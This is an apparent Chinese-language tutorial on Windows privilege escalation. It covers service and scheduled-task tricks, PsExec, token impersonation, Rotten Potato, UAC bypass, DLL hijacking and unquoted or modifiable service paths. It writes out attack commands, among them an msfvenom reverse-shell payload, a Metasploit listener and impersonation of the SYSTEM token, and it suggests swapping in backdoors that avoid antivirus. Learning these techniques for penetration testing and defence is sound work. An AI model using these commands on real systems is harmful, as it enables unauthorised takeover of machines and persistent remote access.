windows2003定时器任务提权
在WidnowsService2003中拥有本地用户权限后一些使用at time /interactive cmd 写入一个定时任务,写入这个任务后到时间就会以一个system权限打开一个用户窗口执行命令
创建一个名叫 syscmd的新的交互式的 cmd执行服务 sc Create syscmd binPath= "cmd /K start" type= own type= interact 运行服务 sc start syscmd也可以将普通的用户权限提升到system
windows2003 sc提权
Windows的sc
指令是 用于与服务控制管理器和服务进行通信的命令行程序。它允许用户创建、查询、启动、停止、配置和删除Windows服务。
创建一个名叫 syscmd的新的交互式的 cmd执行服务 sc Create syscmd binPath= "cmd /K start" type= own type= interact 运行服务 sc start syscmd也可以将普通的用户权限提升到system 原理就是使用sc创建了一个system权限的bash程序,然后后运行这个程序结果结果就是以bash命令打开了一个命令框
PsExec/PsWxexc64.exe提权
PsExec.exe 是一个 Windows 命令行工具,用于在远程系统上执行命令或运行程序。它是 Sysinternals Suite 的一部分,由 Mark Russinovich 和 Bryce Harrington 开发。PsExec 可以在本地或远程计算机上执行命令,而无需手动登录到远程计算机。它支持多种身份验证方法,包括用户名/密码、Kerberos、NTLM 等。
步骤:
我们将这个程序放到目标主机上,使用cmd命令去执行这个程序
PsExec.exe -accepteula -s -i -d cmd
执行这个目录之后就会出现一个system权限的命令窗口
调出一个system权限的命令框
这个提权使用与windowsservice服务器2003 2008 2016都试用,但是有可能会出现权限拒绝的情况
这个程序时windows自带的,不会出现被查杀的情况,在实战中可以将cmd程序改为后门程序,那么我们的后门程序就会以system的权限去执行,那么我们获取到的权限就是system权限
进程迁移提权
在windows2008以前可以使用工具pinjector进行操作
在对方的主机上安装pinjector.exe程序,找到是以系统权限执行的程序
使用pinjector.exe -l来获取程序的权限
在本地监听3333端口就可以反弹shell权限是system高权限
令牌窃取
当用户在Windows系统上登录时,系统会创建一个访问令牌。这个访问令牌包含了用户的安全标识(SID)以及用户和其所属安全组被赋予的权限列表。这些信息用于确定用户可以访问哪些资源以及可以执行哪些操作。
具体来说,访问令牌的作用包括:
-
身份验证:系统通过比对用户密码和安全数据库中的信息来验证用户的身份。
-
授权:令牌中的权限信息决定了用户可以执行哪些操作,以及能够访问哪些系统资源。
-
所有权:Windows使用访问令牌来确定正在运行的进程的所有权。这意味着系统可以知道哪个用户启动了特定的进程。
getuid查看当前用户
load incognito加载对应程序
使用impersonate_token "当前计算机用户名"
最后权限提升成功
因为主机的用户本来就是高权限的用户所以提权结果还是原来那个用户,但回显结果是成功了的
烂土豆配合实现权限提升
本地环境有问题,参考这篇文章windows权限提升——烂土豆+dll劫持+引号路径&+服务权限_windows server 限制dll作用权限-CSDN博客
过程: 上传烂土豆-执行烂土豆-利用窃取模块-窃取SYSTEM-成功
1、假设通过漏洞将大马文件传到了目标web网站,并成功访问,如下图所示,成功获取了一个web权限
2、在kali上用以下命令生成一个后门,并上传到目标服务器。
msfvenom -p windows/meterpreter/reverse_tcp lhost=<Your IP Address> lport=<Your Port to Connect On> -f exe -o shell.exe
3、kali上 msf 启动监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
exploit
4、假设将 shell.exe 后门通过之前的漏洞传到上传到目标靶机并点击CMD 执行后门程序
5、kali 监听到会话,是web普通权限
6、尝试用烂土豆配合令牌窃取提权,假设通过漏洞将烂土豆上传到目标服务器的C盘
然后执行以下命令,成功提权。
cd C:\\
execute -cH -f ./potato.exe
use incognito # 进入incognito
list_tokens -u # 列出令牌
impersonate_token "NT AUTHORITY\SYSTEM" # 令牌假冒 SYSTEM
MSF实现passUAC绕过
如果对方开了uac的话我们在对方的服务器上执行程序可能就会受到限制,为此,我们可以使用一些手段进行绕过uac的检测
用户账户控制 (User Account Control) 是Windows Vista (及更高版本操作系统)通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。
查看uac
设置不同的,计算机会对于windows操作设置时进行弹窗提醒
目标主机的UAC权限设置为最低
使用msfvenom选择windows模块设置IP端口生成木马,将木马放到目标主机上,在攻击机上使用msfconsole模块进行监听,在目标主机上执行后门,上线,绕过对方将uac的安全等级放置最低我们可以直接使用getsystem进行提权,就可以获取主机的system权限
就将普通的用户权限升级到了system权限
目标主机将权限设置为较高
使用msfvenom选择windows模块设置IP端口生成木马,将木马放到目标主机上,在攻击机上使用msfconsole模块进行监听,在目标主机上执行后门,上线,但是不能直接使用getsystem进行权限提升,我们需要会用uacbypass模块进行绕过上线
windows7使用bypassuad模块,进行system提权
windows10使用 ask模块配合管理员进行钓鱼实现uac的提权
相对而言条件比较苛刻,不推荐使用
Akagi项目实现passUAC
使用项目Akagi64/Akagi32进行提权
在cmd中执行Akagi64.exe 41 会弹出一个新的命令框,这个命令框的权限就是一个高权限的用户
在实际的运用过程中,我们使用webshell工具目标主机上就可以调用这个程序,然后使用msf进行监听后门就可以获取权限(PS:不同的主机需要使用不同id号码进行提权)
这种提权方式对于目标系统使用了较高的UAC权限较为好用,不用使用msf模块进行钓鱼操作
DLL劫持
因为计算机的一些系统文件我们无法操作查看和修改,为此我们关注的更多的是我们获得权限自身自带的DLL动态链接库
原理:利用msf生成后门dll文件覆盖掉之前的DLL文件,然后利用这个dll进行上线
使用工具进行检测查看哪些dll可以被劫持
如果出现的是test result就证明这个dll文件可以被劫持
如果出现的是no valid dllhjack!
就证明这个dll文件不可以被劫持
找到可以劫持的dll文件之后我们就可以使用msf生成带后门的dll文件
将生成的dll文件替代掉之前的dll文件
替换前的dll
替换后的dll
攻击者在进行端口监听
如果目标主机执行了这个程序就会上线
不带引号的路径问题
"C:\Program Files (x86)\Acunetix\wvs_supervisor.exe" 带有引号的路径、 C:\Program Files (x86)\Acunetix\wvs_supervisor.exe 有空格不带引号就会将C:\Program当做文件路径 将Files (x86)\Acunetix\wvs_supervisor.exe作为文件的参数
如果路径包含空格并且没有用引号引起来,Windows API 必须假定在哪里可以找到引用的应用程序。服务会按照以下顺序依次执行 C:\Program.exe
C:\Program Files\qcloud\tat_agent\tat_agent.exe
所以将木马命名为Program.exe,并将其放在C盘根目录,会使其优先执行
使用工具检测计算机系统中的所有程序,看他的安装目录里面是否加了引号,如果没有引号就会被晒选出来。然后我们看筛选出来的文件路径是都有空格,如果有空格就可以进行利用,利用msf模块生成一个后门文件,将这个后门文件的名字改为空格前面的文件名,在执行这个之前这个文件,执行这个服务过后,如果在攻击机上面进行监听的话就可以上线
看似启用的是之前的那个服务,实际上启用的是我们上传的后门文件
找到文件中有空格的文件
找到这种文件
将后门改为Program.exe文件,放到c盘目录下
计算机执行这个文件之后就会直接上线后门获取权限
程序执行的时候就会执行后门程序,不会执行原来的程序
修改服务程序的执行路径
本地提权
对权限控制不到位,导致用户可以更改服务执行的程序
服务的执行就是执行指定目录下的执行程序,但是有的服务的执行程序可以用修改,前期信息收集的时候,我们就可以使用工具来修改服务程序的路径,让服务启动的时候去执行我们的后门程序,我们在攻击机器上进行监听就可以获取到其计算机权限(修改服务对应的执行程序,将这个执行程序改为我们的后门程序就可以做到执行这个服务的时候来执行我们的后门程序从而实现上线)
使用windows自带的程序accesschk.exe文件,去检测计算机中存在哪些不安全的程序可以进行修改服务的执行路径。寻找的service_all_access的程序服务
使用jaws powershell脚本执行后检测
使用命令将指定程序的运行路径改为我们的后门程序执行路径,如上图所示将test这个系统中的服务对对应的执行程序改为C盘下的1.exe程序
如果1.exe是一个后门的执行程序,当我们sc start test启动服务,攻击端进行监听就可以获取权限
写在最后
如有错误,请及时指出,谢谢